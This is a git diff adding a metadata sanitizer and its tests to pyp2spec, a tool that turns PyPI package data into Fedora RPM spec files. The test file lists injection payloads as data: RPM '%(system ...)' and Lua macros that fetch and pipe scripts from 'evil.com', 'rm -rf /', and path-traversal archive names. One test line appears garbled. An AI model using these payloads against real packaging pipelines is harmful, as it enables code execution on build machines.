diff --git a/CHANGELOG.md b/CHANGELOG.md index e33d1da..b1685ee 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,9 @@ # Changelog +# [0.14.0] - 2026-03-30 +### Fixed +- Security fix: sanitize relevant metadata inputs to prevent malicious injections + # [0.13.0] - 2025-07-31 ### Added - Support for generating spec files from a local path diff --git a/pyp2spec/local_loaders.py b/pyp2spec/local_loaders.py index 3a3296e..ed09fc4 100644 --- a/pyp2spec/local_loaders.py +++ b/pyp2spec/local_loaders.py @@ -4,7 +4,8 @@ from packaging.metadata import RawMetadata from pyp2spec.utils import Pyp2specError, CoreMetadataNotFoundError -from pyp2spec.utils import parse_core_metadata, normalize_as_wheel_name +from pyp2spec.utils import parse_core_metadata +from pyp2spec.sanitizer import sanitize class DirectoryMissingError(Pyp2specError): @@ -53,18 +54,20 @@ def load_core_metadata_from_file(wheel_name: str) -> RawMetadata: def load_dist_data_from_dir(package: str, path: str) -> tuple[str, str, RawMetadata]: """ Load distribution data from a given directory. - Return a tuple of sdist name, wheel name, and metadata. - If there's no sdist on the given path, a "not found" string is returned. + Return a tuple of archive name, wheel name, and metadata. + If there's no sdist on the given path, a "..." string is returned. Raise a FileMissingError if the wheel file cannot be found in the directory. """ source_path = _resolve_and_check_if_dir_exists(path) - pkgname = normalize_as_wheel_name(package) + pkgname = sanitize("wheel_name", package) # sdist name is only needed as a source in specfile # if not present, we can still generate a good-enough file try: - sdist_name = str(_look_up_file_in_dir(pkgname, source_path, "tar.gz")) + sdist_path = str(_look_up_file_in_dir(pkgname, source_path, "tar.gz")) + sdist_basename = Path(sdist_path).name + archive_name = sanitize("archive_name", sdist_basename) except FileMissingError: - sdist_name = "..." + archive_name = "..." wheel_name = str(_look_up_file_in_dir(pkgname, source_path, "whl")) metadata = load_core_metadata_from_file(wheel_name) - return sdist_name, wheel_name, metadata + return archive_name, wheel_name, metadata diff --git a/pyp2spec/pyp2conf.py b/pyp2spec/pyp2conf.py index eaaaeea..0a8fffc 100644 --- a/pyp2spec/pyp2conf.py +++ b/pyp2spec/pyp2conf.py @@ -10,12 +10,14 @@ from requests import Session from pyp2spec.license_processor import check_compliance, resolve_license_expression -from pyp2spec.utils import Pyp2specError, normalize_name, get_extras, get_summary_or_placeholder +from pyp2spec.utils import Pyp2specError, get_extras, get_summary_or_placeholder from pyp2spec.utils import prepend_name_with_python, archive_name from pyp2spec.utils import has_abi_tag, contains_wheel_with_abi_tag, resolve_url, create_compat_name from pyp2spec.utils import warn, caution, inform, yay -from pyp2spec.pypi_loaders import load_from_pypi, load_core_metadata_from_pypi, CoreMetadataNotFoundError +from pyp2spec.utils import CoreMetadataNotFoundError +from pyp2spec.pypi_loaders import load_from_pypi, load_core_metadata_from_pypi from pyp2spec.local_loaders import load_dist_data_from_dir +from pyp2spec.sanitizer import sanitize @dataclass @@ -46,14 +48,23 @@ def prepare_package_info(data: RawMetadata | dict) -> PackageInfo: project_urls["home_page"] = homepage if (not homepage and (homepage := data.get("package_url", ""))): project_urls["home_page"] = homepage + + # Sanitize all PyPI metadata to prevent injection attacks + raw_name = data.get("name", "") + raw_version = data.get("version", "") + raw_summary = get_summary_or_placeholder(data.get("summary", "")) + raw_url = resolve_url(project_urls) + raw_extras = get_extras(data.get("provides_extra", []), data.get("requires_dist", [])) + raw_license = resolve_license_expression(data) + return PackageInfo( - name=normalize_name(data.get("name", "")), - version=data.get("version", ""), - summary=get_summary_or_placeholder(data.get("summary", "")), - url=resolve_url(project_urls), - extras=get_extras(data.get("provides_extra", []), data.get("requires_dist", [])), + name=sanitize("name", raw_name), + version=sanitize("version", raw_version), + summary=sanitize("summary", raw_summary), + url=sanitize("url", raw_url), + extras=sanitize("extras", raw_extras), license_files_present=bool(data.get("license_files")), - license=resolve_license_expression(data) + license=sanitize("license", raw_license) if raw_license else None ) @@ -66,6 +77,7 @@ def gather_package_info(core_metadata: RawMetadata | None, pypi_package_data: di def create_package_from_dir(package: str, path: str) -> PackageInfo: + # sdist_name and wheel_name are sanitized when loaded sdist_name, wheel_name, core_metadata = load_dist_data_from_dir(package, path) pkg = gather_package_info(core_metadata, None) pkg.archful = has_abi_tag(str(wheel_name)) @@ -77,7 +89,7 @@ def create_package_from_dir(package: str, path: str) -> PackageInfo: def create_package_from_pypi(core_metadata: RawMetadata | None, pypi_pkg_data: dict) -> PackageInfo: pkg = gather_package_info(core_metadata, pypi_pkg_data) pkg.archful = contains_wheel_with_abi_tag(pypi_pkg_data["urls"]) - pkg.archive_name = archive_name(pypi_pkg_data["urls"]) + pkg.archive_name = sanitize("archive_name", archive_name(pypi_pkg_data["urls"])) pkg.source = "PyPI" return pkg diff --git a/pyp2spec/sanitizer.py b/pyp2spec/sanitizer.py new file mode 100644 index 0000000..f69b27c --- /dev/null +++ b/pyp2spec/sanitizer.py @@ -0,0 +1,105 @@ +""" +Security module for sanitizing PyPI metadata before rendering into RPM spec files. +""" +from __future__ import annotations + +import re +from pathlib import Path + +from pyp2spec.utils import MissingPackageNameError + + +# Shell metacharacters to remove (dangerous for command injection) +# Note: { } are preserved for RPM macros like %%{version} +DANGEROUS_CHARS = r'[$`|;&<>()\[\]\\\'"]' + + +def _sanitize_base(text: str, allow_spaces: bool = False) -> str: + """Core sanitization function for all spec file fields. + + text: The input text to sanitize + allow_spaces: Whether to preserve spaces + Returns a sanitized text safe for spec file insertion + """ + if not text: + return text + + # Remove newlines (convert to spaces first, then handle below) + text = text.replace('\r\n', ' ').replace('\n', ' ').replace('\r', ' ') + + # Remove control characters + text = ''.join(c for c in text if ord(c) >= 32) + + # Remove dangerous %() execution patterns + text = re.sub(r'%\([^)]*\)?', '', text) + + # Escape % signs for RPM + text = text.replace('%', '%%') + + # Remove shell metacharacters (preserves Unicode) + text = re.sub(DANGEROUS_CHARS, '_', text) + + if not allow_spaces: + text = text.replace(' ', '') + + return text.strip() + + +def _sanitize_with_spaces(dirty_string: str) -> str: + return _sanitize_base(dirty_string, allow_spaces=True) + + +def _sanitize_name(name: str) -> str: + """Sanitize package name for RPM spec files. + + Returns a name normalized according to PEP 503. + """ + if not name: + raise MissingPackageNameError("Cannot create a package without a name") + + result = _sanitize_base(name.lower()) + # Normalize separators and remove leading/trailing ones + result = re.sub(r"[-_.]+", "-", result).strip('-_') + return result + + +def _sanitize_wheel_name(name: str) -> str: + """Normalize as in the wheel specification: + https://packaging.python.org/en/latest/specifications/binary-distribution-format/#escaping-and-unicode + PEP 625 specifies sdist names to this format.""" + + return _sanitize_name(name).replace("-", "_") + + +def _sanitize_archive_name(archive_name: str) -> str: + """Sanitize archive filenames - prevent path traversal.""" + archive_name = archive_name.replace('\\', '/') + safe_name = Path(archive_name).name + + return _sanitize_base(safe_name) + + +def _sanitize_extras_list(extras: list[str]) -> list[str]: + return [clean for extra in extras if (clean := _sanitize_base(extra))] + + +def sanitize(field_name: str, value: str | list[str]) -> str | list[str]: + """Main sanitization entry point for all spec file fields. + + field_name: The name of the field being sanitized + value: The value to sanitize + Returns a sanitized value safe for spec file insertion + """ + sanitizers = { + "name": _sanitize_name, + "wheel_name": _sanitize_wheel_name, + "archive_name": _sanitize_archive_name, + "license": _sanitize_with_spaces, + "summary": _sanitize_with_spaces, + "version": _sanitize_base, + "url": _sanitize_base, + "extras": _sanitize_extras_list, + } + + sanitizer_func = sanitizers.get(field_name) + return sanitizer_func(value) diff --git a/pyp2spec/utils.py b/pyp2spec/utils.py index 10cd17c..96f151b 100644 --- a/pyp2spec/utils.py +++ b/pyp2spec/utils.py @@ -35,23 +35,6 @@ class CoreMetadataNotFoundError(Pyp2specError): """Raised when there's no Metadata file available on PyPI API""" -def normalize_name(package_name: str) -> str: - """Normalize given package name as defined in PEP 503. - The resulting string better conforms with Fedora's Packaging Guidelines.""" - - if not package_name: - raise MissingPackageNameError("Cannot create a package without a name") - return re.sub(r"[-_.]+", "-", package_name).lower() - - -def normalize_as_wheel_name(package_name: str) -> str: - """Normalize as in the wheel specification: - https://packaging.python.org/en/latest/specifications/binary-distribution-format/#escaping-and-unicode - PEP 625 specifies sdist names to this format.""" - - return normalize_name(package_name).replace("-", "_") - - def prepend_name_with_python(name: str, python_alt_version: str | None = None) -> str: """Create a component name for the specfile. diff --git a/pyproject.toml b/pyproject.toml index 995a0eb..8ffc6c0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "pyp2spec" -version = "0.13.0" +version = "0.14.0" description = "Generate a valid Fedora specfile from Python package from PyPI" readme = { file = "README.md", content-type = "text/markdown" } authors = [ diff --git a/tests/test_local_loaders.py b/tests/test_local_loaders.py index 436d68e..3395faf 100644 --- a/tests/test_local_loaders.py +++ b/tests/test_local_loaders.py @@ -59,9 +59,7 @@ def test_load_core_metadata_from_file(): def test_load_dist_data_from_dir(): test_dir = "tests/local" sdist, wheel, data = load_dist_data_from_dir("local_test", test_dir) - # Keep just the latest parts of the full file paths - sdist = sdist.split("/")[-3:] - assert sdist == ["tests", "local", "local_test-0.12.2.tar.gz"] + assert sdist == "local_test-0.12.2.tar.gz" wheel = wheel.split("/")[-1] assert wheel == "local_test-0.12.2-py3-none-any.whl" assert data["version"] == "0.12.2" diff --git a/tests/test_sanitizer.py b/tests/test_sanitizer.py new file mode 100644 index 0000000..ef583a5 --- /dev/null +++ b/tests/test_sanitizer.py @@ -0,0 +1,248 @@ +import pytest + +from pyp2spec.sanitizer import sanitize +from pyp2spec.utils import MissingPackageNameError + + +@pytest.mark.parametrize( + ("name", "expected"), [ + ("my-package", "my-package"), + ("pkg%(system id)", "pkg"), + ("pkg%{version}", "pkg%%{version}"), + ("pkg\nRelease: evil", "pkgrelease:evil"), + ("Awesome_TestPkg", "awesome-testpkg"), + ("python-foo", "python-foo"), + ("python_foo", "python-foo"), + ] +) +def test_sanitize_name(name, expected): + assert sanitize("name", name) == expected + + +@pytest.mark.parametrize( + ("name", "expected"), [ + ("my-package-foo", "my_package_foo"), + ("my.package", "my_package"), + ("my_package-", "my_package"), + ("noweirdchars", "noweirdchars"), + ] +) +def test_sanitize_wheel_name(name, expected): + assert sanitize("wheel_name", name) == expected + + +def test_sanitize_name_empty(): + with pytest.raises(MissingPackageNameError): + sanitize("name", "") + + +def test_sanitize_wheel_name_empty(): + with pytest.raises(MissingPackageNameError): + sanitize("wheel_name", "") + + +@pytest.mark.parametrize( + ("version", "expected_contains"), [ + ("1.2.3", "1.2.3"), + ("1.0a1", "1.0a1"), + ("2.0~rc1", "2.0~rc1"), + ] +) +def test_sanitize_version_valid(version, expected_contains): + assert sanitize("version", version) == expected_contains + + +@pytest.mark.parametrize( + ("version", "expected"), [ + ("1.0%(system echo hacked)", "1.0"), + ("1.0\n%prep\nrm -rf", "1.0%%preprm-rf"), + ("1.0; rm -rf /", "1.0_rm-rf/"), + ("1.0.0%(system wget http://evil.com/malware -O /tmp/pwn)", "1.0.0") + ] +) +def test_sanitize_version_removes_dangerous_content(version, expected): + assert sanitize("version", version) == expected + + +@pytest.mark.parametrize( + ("summary", "expected"), [ + ("A Python package", "A Python package"), + ("Line 1\nLine 2", "Line 1 Line 2"), + ] +) +def test_sanitize_summary_valid(summary, expected): + assert sanitize("summary", summary) == expected + + +@pytest.mark.parametrize( + ("summary", "expected"), [ + ("Package %(system curl evil.com|sh)", "Package"), + ("Version %{version} package", "Version %%{version} package"), + ("Good summary\n%prep\n%{system rm -rf /}", "Good summary %%prep %%{system rm -rf /}"), + ("Text\x00with\x01control\x1fchars", "Textwithcontrolchars"), + ] +) +def test_sanitize_summary_removes_dangerous_content(summary, expected): + assert sanitize("summary", summary) == expected + + +def test_sanitize_spec_injection_via_summary(): + attack = """Legitimate summary +%prep +%{lua: os.execute("curl evil.com/backdoor.sh | sh")} +""" + result = sanitize("summary", attack) + assert "\n" not in result + assert "%%prep" in result + + +@pytest.mark.parametrize( + ("field", "value", "desc"), [ + ("summary", "Package $(whoami)", "command substitution"), + ("summary", "Tool `id`", "backticks"), + ("summary", "Package | sh", "pipe"), + ("summary", "Tool; rm -rf /", "semicolon"), + ("summary", "Package && id", "double ampersand"), + ("summary", "Tool & background", "ampersand"), + ("license", "MIT; touch /tmp/pwn", "license with semicolon"), + ("summary", "Text >output.txt", "redirect"), + ("summary", "Read ', '(', ')', '[', ']', '\\', "'", '"']: + assert char not in result, f"Shell metacharacter {char!r} found in: {result}" + + +@pytest.mark.parametrize( + ("field", "value", "expected"), [ + ("summary", "Python 包管理工具", "Python 包管理工具"), + ("summary", "أداة إدارة الحزم", "أداة إدارة الحزم"), + ("summary", "Pythonパッケージマネージャー", "Pythonパッケージマネージャー"), + ("license", "Лицензия MIT", "Лицензия MIT"), + ("summary", "中文描述 with English", "中文描述 with English"), + ] +) +def test_sanitize_generic_preserves_unicode(field, value, expected): + """Test that generic sanitization preserves Unicode characters.""" + result = sanitize(field, value) + assert result == expected + + +def test_sanitize_generic_combined_attack(): + """Test a complex attack combining multiple shell metacharacters.""" + attack = "Package $(curl evil.com|sh) && `id` ; rm -rf /" + result = sanitize("summary", attack) + assert result == "Package __curl evil.com_sh_ __ _id_ _ rm -rf /" + + +def test_sanitize_generic_preserves_safe_punctuation(): + """Test that safe punctuation is preserved in generic fields.""" + text = "Package v1.0: A tool for testing! Works great? Yes. Cool@feature #1 +more -info" + result = sanitize("summary", text) + assert result == "Package v1.0: A tool for testing! Works great? Yes. Cool@feature #1 +more -info" + + +@pytest.mark.parametrize( + ("license_str", "expected"), [ + ("MIT", "MIT"), + ("GPL-3.0-or-later", "GPL-3.0-or-later"), + ("MIT OR Apache-2.0", "MIT OR Apache-2.0"), + ] +) +def test_sanitize_license_valid(license_str, expected): + assert sanitize("license", license_str) == expected + + +@pytest.mark.parametrize( + ("license_str", "expected"), [ + ("MIT%(system touch /tmp/pwned)", "MIT"), + ("MIT\n%prep\nrm -rf /", "MIT %%prep rm -rf /"), + ] +) +def test_sanitize_license_removes_dangerous_content(license_str, expected): + assert sanitize("license", license_str) == expected + + +@pytest.mark.parametrize( + ("url", "expected"), [ + ("https://example.com/pkg", "https://example.com/pkg"), + ] +) +def test_sanitize_url_valid(url, expected): + assert sanitize("url", url) == expected + + +@pytest.mark.parametrize( + ("url", "expected"), [ + ("http://evil.com%(system id)", "http://evil.com"), + ("http://example.com\nBuildRequires: evil", "http://example.comBuildRequires:evil"), + ("http://example .com/path with spaces", "http://example.com/pathwithspaces"), + ("https://evil.com/%{buildroot}/etc/shadow", "https://evil.com/%%{buildroot}/etc/shadow") + ] +) +def test_sanitize_url_dangerous_content(url, expected): + assert sanitize("url", url) == expected + + +@pytest.mark.parametrize( + ("archive_name", "expected"), [ + ("package-1.0.tar.gz", "package-1.0.tar.gz"), + ] +) +def test_sanitize_archive_name_valid(archive_name, expected): + assert sanitize("archive_name", archive_name) == expected + + +@pytest.mark.parametrize( + ("archive_name", "expected"), [ + ("../../etc/passwd", "passwd"), + ("pkg-1.0.tar.gz; rm -rf /", "pkg-1.0.tar.gz_rm-rf"), + ("pkg%(system id).tar.gz", "pkg.tar.gz"), + ("../../../etc/cron.d/backdoor", "backdoor") + ] +) +def test_sanitize_archive_name_removes_dangerous_content(archive_name, expected): + assert sanitize("archive_name", archive_name) == expected + + +def test_sanitize_extras_valid(): + result = sanitize("extras", ["dev", "test", "docs"]) + assert result == ["dev", "test", "docs"] + + +def test_sanitize_extras_removes_macros(): + assert sanitize("extras", ["test%(system id)", "dev"]) == ["test", "dev"] + + +def test_sanitize_extras_filters_empty(): + assert sanitize("extras", ["valid", "", "%(evil)"]) == ["valid"] + + +@pytest.mark.parametrize( + ("field", "value", "expected"), [ + ("summary", "...", "..."), + ("url", "", ""), + ("archive_name", "", ""), + ] +) +def test_sanitize_empty_and_none_values(field, value, expected): + assert sanitize(field, value) == expected + + +def test_sanitize_multiple_macro_types(): + malicious = "Text %(system id) and %{version} and %%{safe}" + result = sanitize("summary", malicious) + assert "%(system" not in result + assert "%%{version}" in result + assert "%%{safe}" in result diff --git a/tests/test_utils.py b/tests/test_utils.py index 7ee63fc..a69785c 100644 --- a/tests/test_utils.py +++ b/tests/test_utils.py @@ -1,10 +1,10 @@ import pytest from pyp2spec.utils import filter_license_classifiers, prepend_name_with_python -from pyp2spec.utils import normalize_name, get_extras, contains_wheel_with_abi_tag -from pyp2spec.utils import normalize_as_wheel_name, archive_name -from pyp2spec.utils import resolve_url, SdistNotFoundError, MissingPackageNameError +from pyp2spec.utils import get_extras, contains_wheel_with_abi_tag +from pyp2spec.utils import resolve_url, archive_name, SdistNotFoundError from pyp2spec.utils import create_compat_name +from pyp2spec.sanitizer import sanitize def test_license_classifier_read_correctly(): @@ -34,7 +34,7 @@ def test_license_classifier_read_correctly(): ] ) def test_python_name(pypi_name, alt_version, expected): - assert prepend_name_with_python(normalize_name(pypi_name), alt_version) == expected + assert prepend_name_with_python(sanitize("name", pypi_name), alt_version) == expected def test_extras_detected_correctly_from_requires_dist(): @@ -139,23 +139,6 @@ def test_archfulness_is_detected_from_multiple_urls_3(): assert contains_wheel_with_abi_tag(urls) -@pytest.mark.parametrize( - ("name", "expected"), [ - ("my-package-foo", "my_package_foo"), - ("my.package", "my_package"), - ("my_package-", "my_package_"), - ("noweirdchars", "noweirdchars"), - ] -) -def test_normalize_as_wheel_name(name, expected): - assert normalize_as_wheel_name(name) == expected - - -def test_empty_package_name_results_in_exception(): - with pytest.raises(MissingPackageNameError): - normalize_as_wheel_name("") - - def test_archive_name_valid(): archive_urls = [ {